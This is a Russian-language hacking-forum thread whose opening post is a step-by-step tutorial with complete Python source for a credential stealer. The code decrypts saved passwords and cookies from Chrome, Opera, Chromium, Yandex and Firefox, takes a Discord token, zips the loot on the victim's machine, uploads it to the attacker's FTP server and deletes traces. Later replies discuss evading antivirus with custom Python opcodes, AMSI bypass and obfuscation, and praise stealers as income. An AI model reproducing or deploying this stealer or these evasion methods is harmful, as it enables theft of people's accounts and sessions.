Пишем свой stealer на Python с отправкой на FTP-сервер

devilbyte

floppy-диск
Пользователь
Регистрация
25.11.2019
Сообщения
9
Реакции
2
Баллы
6
Telegram
Jabber
Привет всем!Как погодка?)
Сегодня я бы хотел показать ,как можно написать самый простой stealer на Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как😂)
Для начала нам нужен FTP сервер.
Итак ,для начала нам нужно импортировать модули:
Python:
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Тут все просто ,модуль os для работы с директориями и удалением "следов". Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями , zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему.

Python:
user_name = os.getlogin()
Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и расшифровывать БД ,а также искать куки

Python:
def Chrome():
    text = 'Passwords Google_Chrome:' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
     
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
    return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

def Chrome_cockie():
   textc = 'Cookies Chrome:' + '\n'
   textc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()

def Opera():
    texto = 'Passwords Opera:' + '\n'
    texto += 'URL | LOGIN | PASSWORD' + '\n'
    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

def chromium():
   textch = 'Chromium Passwords:' + '\n'
   textch += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textch += url + ' | ' + login + ' | ' + password + '\n'
               return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()

def Yandex():
   texty = 'YANDEX Cookies:' + '\n'
   texty += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()

def Firefox():
   textf = ''
   textf += 'Firefox Cookies:' + '\n'
   textf += 'URL | COOKIE | COOKIE NAME' + '\n'
   for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
       for name in dirs:
           conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
           cursor = conn.cursor()
           cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
           data = cursor.fetchall()
           for i in range(len(data)):
               url, cookie, name = data[i]
               textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'  
       break
   return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()

def chromiumc():
   textchc = ''
   textchc += 'Chromium Cookies:' + '\n'
   textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()

def Opera_c():
    textoc = '\n' + 'Cookies Opera:' + '\n'
    textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
      shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      cursor = conn.cursor()
      cursor.execute("SELECT * from cookies")
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
    return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()

def discord_token():
   if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
       token = ''
       conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
       cursor = conn.cursor()
       for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
           token = row[1].decode("utf-16")
       conn.close()
       if token != '':
           return token
       else:
           return 'Discord exists, but not logged in'
   else:
       return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()
Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого ,только пути разные. А это самые популярные браузеры ,которыми пользуются юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все текстовики в архив и отправим их к себе на сервер!

Python:
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Все,все текстовики с паролями сохранены в одном архиве! Который находится на диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим именем)
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен: хост,логин и пароль

Python:
localfile = r"D:\LOG.zip"

ftp_host = 'host'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:
    ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
    print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
    ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
    fp.close()
    ftp.close()
except:
    print("Error! File not download")
try:
    os.remove("D:\LOG.zip")
except:
    print('File not removed!')
 

pewpewpew

RAID-массив
Пользователь
Регистрация
27.11.2018
Сообщения
90
Реакции
52
Баллы
18
А где копирайты? Есть несколько подобных статей, вот парочка наиболее похожих
 

dev

RAID-массив
Пользователь
Регистрация
04.11.2019
Сообщения
66
Реакции
97
Баллы
26
Jabber
ну все 🤣, теперь я видел все, скоро и вирусы пойдут на скриптовых языках

PS: перед запуском не хватае popUp окна с просьбой установить питон.
 
Последнее редактирование:

Haunt

RAID-массив
Пользователь
Регистрация
07.11.2019
Сообщения
91
Реакции
82
Баллы
18
ну все 🤣, теперь я видел все, скоро и вирусы пойдут на скриптовых языках

PS: перед запуском не хватае popUp окна с просьбой установить питон.
Ага, то что пайтон собирается в единый ехе наверное не слышал)
И прервать твоё веселье могу. Дело в том, что хоть я и не сторонник пайтон малвари, но тебе ничего не мешает собрать из исходников интерпретатор пайтона с кастомными опкодами (и поправкой модулей типа дисасма). Потом этим интерпретатором собрать исходник в уникальный байт-код и распространять вместе с этим кастомным интерпретатором. Но готов биться об заклад, ты про этот способ не знаешь как и про сингл файл ехе с пайтона. И да, это та самая тема на которую пол экспы дрочит в виде рантайм чистки онли вм, вместо исходников. На своём нативе ты будешь пилить только свою вм без багов года 2, не замечая решения под носом, невежда.
Ещё про скрипт малварь че то пишешь. Аверы давно научились работать с нативной малварью. Плюсом к этому натив малварь это к тому же всегда сигнатура на основе метаданных будь то импорты или банальная иконка файла. Ой че там, энтропия в секции с данными не надоела ещё? Я в пш к примеру обхожу amsi плюс применяю обфускатор на основе AST, самопис (и code flow flattening и уникальные методы, bogus flow flattening, работа с константами, типами, алиасами и работа рефлексивно с методами дотнета без явных вызовов апи) и делаю такую грязь, которую ты считаешь невозможной по отношению к теме крипта. И никаких метаданных о самом скрипте. И ev серт не нужен. И смартскрин не достаёт, представляешь?
Ах да, это все возможно благодаря встроенной рефлексии в «фу скриптовые языки». Та же работа с AST. Парсер встроенный есть. Представляешь. А че там всеми любимый спп рефлексию на уровне языка завезли? Или надо обвязочки с собой таскать и разбираться в LLVM в котором черт ногу сломит как и в 1к+ страниц спеков плюсов.
Лучше все же покупать натив малварь. Платить за «крипт», в котором запихают в загрузчик с плавающей сигнатурой твою постоянную сигнатуру и при этом в рантайме все равно будет новогодняя елка. Вот это выбор. Уважаю
 
Последнее редактирование:

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован
Ага, то что пайтон собирается в единый ехе наверное не слышал)
И прервать твоё веселье могу. Дело в том, что хоть я и не сторонник пайтон малвари, но тебе ничего не мешает собрать из исходников интерпретатор пайтона с кастомными опкодами (и поправкой модулей типа дисасма). Потом этим интерпретатором собрать исходник в уникальный байт-код и распространять вместе с этим кастомным интерпретатором. Но готов биться об заклад, ты про этот способ не знаешь как и про сингл файл ехе с пайтона. И да, это та самая тема на которую пол экспы дрочит в виде рантайм чистки онли вм, вместо исходников. На своём нативе ты будешь пилить только свою вм без багов года 2, не замечая решения под носом, невежда.
Ещё про скрипт малварь че то пишешь. Аверы давно научились работать с нативной малварью. Плюсом к этому натив малварь это к тому же всегда сигнатура на основе метаданных будь то импорты или банальная иконка файла. Ой че там, энтропия в секции с данными не надоела ещё? Я в пш к примеру обхожу amsi плюс применяю обфускатор на основе AST, самопис (и code flow flattening и уникальные методы, bogus flow flattening, работа с константами, типами, алиасами и работа рефлексивно с методами дотнета без явных вызовов апи) и делаю такую грязь, которую ты считаешь невозможной по отношению к теме крипта. И никаких метаданных о самом скрипте. И ev серт не нужен. И смартскрин не достаёт, представляешь?
Ах да, это все возможно благодаря встроенной рефлексии в «фу скриптовые языки». Та же работа с AST. Парсер встроенный есть. Представляешь. А че там всеми любимый спп рефлексию на уровне языка завезли? Или надо обвязочки с собой таскать и разбираться в LLVM в котором черт ногу сломит как и в 1к+ страниц спеков плюсов.
Лучше все же покупать натив малварь. Платить за «крипт», в котором запихают в загрузчик с плавающей сигнатурой твою постоянную сигнатуру и при этом в рантайме все равно будет новогодняя елка. Вот это выбор. Уважаю
Одним словом - Накипело :)
 
  • Like
Реакции: Dado

Bard

RAM
Пользователь
Регистрация
18.12.2018
Сообщения
139
Реакции
171
Баллы
47
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен: хост,логин и пароль
Прочитал и вспомнил старые , добрые , олдскульные времена ...
ЭхЪ , весело же было ...

hhhhh.jpg
 

devilbyte

floppy-диск
Пользователь
Регистрация
25.11.2019
Сообщения
9
Реакции
2
Баллы
6
Telegram
Jabber
Ага, то что пайтон собирается в единый ехе наверное не слышал)
И прервать твоё веселье могу. Дело в том, что хоть я и не сторонник пайтон малвари, но тебе ничего не мешает собрать из исходников интерпретатор пайтона с кастомными опкодами (и поправкой модулей типа дисасма). Потом этим интерпретатором собрать исходник в уникальный байт-код и распространять вместе с этим кастомным интерпретатором. Но готов биться об заклад, ты про этот способ не знаешь как и про сингл файл ехе с пайтона. И да, это та самая тема на которую пол экспы дрочит в виде рантайм чистки онли вм, вместо исходников. На своём нативе ты будешь пилить только свою вм без багов года 2, не замечая решения под носом, невежда.
Ещё про скрипт малварь че то пишешь. Аверы давно научились работать с нативной малварью. Плюсом к этому натив малварь это к тому же всегда сигнатура на основе метаданных будь то импорты или банальная иконка файла. Ой че там, энтропия в секции с данными не надоела ещё? Я в пш к примеру обхожу amsi плюс применяю обфускатор на основе AST, самопис (и code flow flattening и уникальные методы, bogus flow flattening, работа с константами, типами, алиасами и работа рефлексивно с методами дотнета без явных вызовов апи) и делаю такую грязь, которую ты считаешь невозможной по отношению к теме крипта. И никаких метаданных о самом скрипте. И ev серт не нужен. И смартскрин не достаёт, представляешь?
Ах да, это все возможно благодаря встроенной рефлексии в «фу скриптовые языки». Та же работа с AST. Парсер встроенный есть. Представляешь. А че там всеми любимый спп рефлексию на уровне языка завезли? Или надо обвязочки с собой таскать и разбираться в LLVM в котором черт ногу сломит как и в 1к+ страниц спеков плюсов.
Лучше все же покупать натив малварь. Платить за «крипт», в котором запихают в загрузчик с плавающей сигнатурой твою постоянную сигнатуру и при этом в рантайме все равно будет новогодняя елка. Вот это выбор. Уважаю
о май гад данила ты что крейзи
 

Haunt

RAID-массив
Пользователь
Регистрация
07.11.2019
Сообщения
91
Реакции
82
Баллы
18
На выходе большой файл получается..
А так, почему нет, идея имеет право...
Я даже тебе больше скажу. Большой вес в некоторых кейсах не так уж плох. Например если ты проливаешь с торрентов. Есть велика вероятность, что твой файл никогда не попадёт на VirusTotal, если ты привысишь некую константу MAX_FILE_SIZE. Эта константа, как ты понял, отвечает за максимальный вес файла, который можно залить на вт.
А насчёт большого файла, интересно. Когда кодер бинарной малвари в ходе эволюции приходит к написанию своей вм, впадает ли его моск в segmentation fault, когда осознаёт, что его малварь стала скриптовой и надо с собой таскать эту самую вм, от чего вес будет явно больше 100кб
 

dev

RAID-массив
Пользователь
Регистрация
04.11.2019
Сообщения
66
Реакции
97
Баллы
26
Jabber
Ага, то что пайтон собирается в единый ехе наверное не слышал)
я понимаю что сейчас поколение питон, я уже видел как умерло поколение ПХП.
по кастомному интерпретатору - раньше все ПХПшники мечтали о свем фремворке.
сколько времени у тебя уйдет запилить свой кастомный интерпретаторор?

все это костыли, так и на джаве можно стилеры писать

да и качество кода я бы сказал что не мидл писал, какой то джун, не понимаю чем тут гордится, джун не напишет свой интерпретатор, типо мама я ПИТОН программист на стеке новых технологий, умею брать файл и посылать его в сеть.
 
Последнее редактирование:

Haunt

RAID-массив
Пользователь
Регистрация
07.11.2019
Сообщения
91
Реакции
82
Баллы
18
сколько лет у тебя уйдет запилить свой кастомный интерпретаторор?
Ты не понял, видимо, сути вопроса. Какие «сколько лет»?
Кастомный интерпретатор это как последствие изменения файла https://github.com/python/cpython/blob/master/Include/opcode.h
.
Эти опкоды отвечают за инструкции для пайтоновской вм. По сути инструкция-инт. Если ты изменишь инты по определенным правилам, то на выходе сорц , собранный в байткод этим кастомным интерпретатором даст на выходе сигнатуру, которой нет и не было в базах ав. Собирая каждый раз один и тот же сорц в байт-код, но разными интерпретаторами(с изменёнными опкодами) - ты получаешь эдакий полиморфизм всего тела. Бонусом к этому - нельзя дизассемблировать этот байт-код обычным оригинальным пайтоновским дисасмом. Чтобы узнать логику байт-кода - аверам надо сначала отреверсить сам кастомный интерпретатор, который идёт вместе с твоим байткодом, либо использовать тот дисасм который принадлежит твоей кастомной сборке(но его можно выпилить).
 

Haunt

RAID-массив
Пользователь
Регистрация
07.11.2019
Сообщения
91
Реакции
82
Баллы
18
P.S и заметь. Я говорю тебе не про рядового кодера питониста, который не осилил норм язык для малвари и по этому пишет на пайтоне. А про возможности, которых ты не замечаешь в скрипт-языках и лишаешь себя бенефитов.
 
  • Like
Реакции: Dado

dev

RAID-массив
Пользователь
Регистрация
04.11.2019
Сообщения
66
Реакции
97
Баллы
26
Jabber
P.S и заметь. Я говорю тебе не про рядового кодера питониста, который не осилил норм язык для малвари и по этому пишет на пайтоне. А про возможности, которых ты не замечаешь в скрипт-языках и лишаешь себя бенефитов.
все все понял, давай больше не флудить, пометил тебя Данила как фанатика.

о май гад данила ты что крейзи
PS: это не совсем тот форум, чтоб имена светить.
 

Haunt

RAID-массив
Пользователь
Регистрация
07.11.2019
Сообщения
91
Реакции
82
Баллы
18
все все понял, давай больше не флудить, пометил тебя Данила как фанатика.
Я тебе ещё выше пост отписал, но ты проигнорил. По этому фанатик в данном случае это ты, а именно фанатик бинарщины, который не умеет в конструктив. Наслышался про то, что только бинарная малварь это тру и давай двигать эти идеи. А чем тру - знает только понаслышке видимо и аргументировать не может. И обвиняет неверных в фанатизме. Это первое.
Второе - я персонажа, который назвал Данилой, не знаю и не имею никакого отношения к его высеру в его последнем сообщении в этой ветке. Это два.
 

g4lyfe

(L3) cache
Пользователь
Регистрация
02.04.2013
Сообщения
150
Реакции
268
Депозит
0
Баллы
53
но екоторые дополнительные правила применяются для определенных операторов (например, строка в качестве левого аргумента для оператора «%»)
 

AsHkERE

RAM
Пользователь
Регистрация
06.04.2019
Сообщения
147
Реакции
45
Баллы
26
Telegram
Jabber
Прочитал и вспомнил старые , добрые , олдскульные времена ...
ЭхЪ , весело же было ...

Посмотреть вложение 6863
да да маялся я такой херней 4года назад и в правду было весело, а сейчас в пал в расстройство от своего говнокода, то что поясняю за паблик, а не за свое
 

StanislavPopov

floppy-диск
Пользователь
Регистрация
22.12.2019
Сообщения
4
Реакции
1
Баллы
3
Статья очень хорошая,нужная тема,ведь банально со стиллера в день можно заработать 5к+ если повезёт.Всё бы ничего,но статья похожа на эту,только слишком большая.Рекомендую попробовать сделать стиллер с двух статей и сравнить их,но мне этот(который я скинул) будет всегда лучше;)
 

devilbyte

floppy-диск
Пользователь
Регистрация
25.11.2019
Сообщения
9
Реакции
2
Баллы
6
Telegram
Jabber
Статья очень хорошая,нужная тема,ведь банально со стиллера в день можно заработать 5к+ если повезёт.Всё бы ничего,но статья похожа на эту,только слишком большая.Рекомендую попробовать сделать стиллер с двух статей и сравнить их,но мне этот(который я скинул) будет всегда лучше;)
Не сижу на кодеби ;)
 
Верх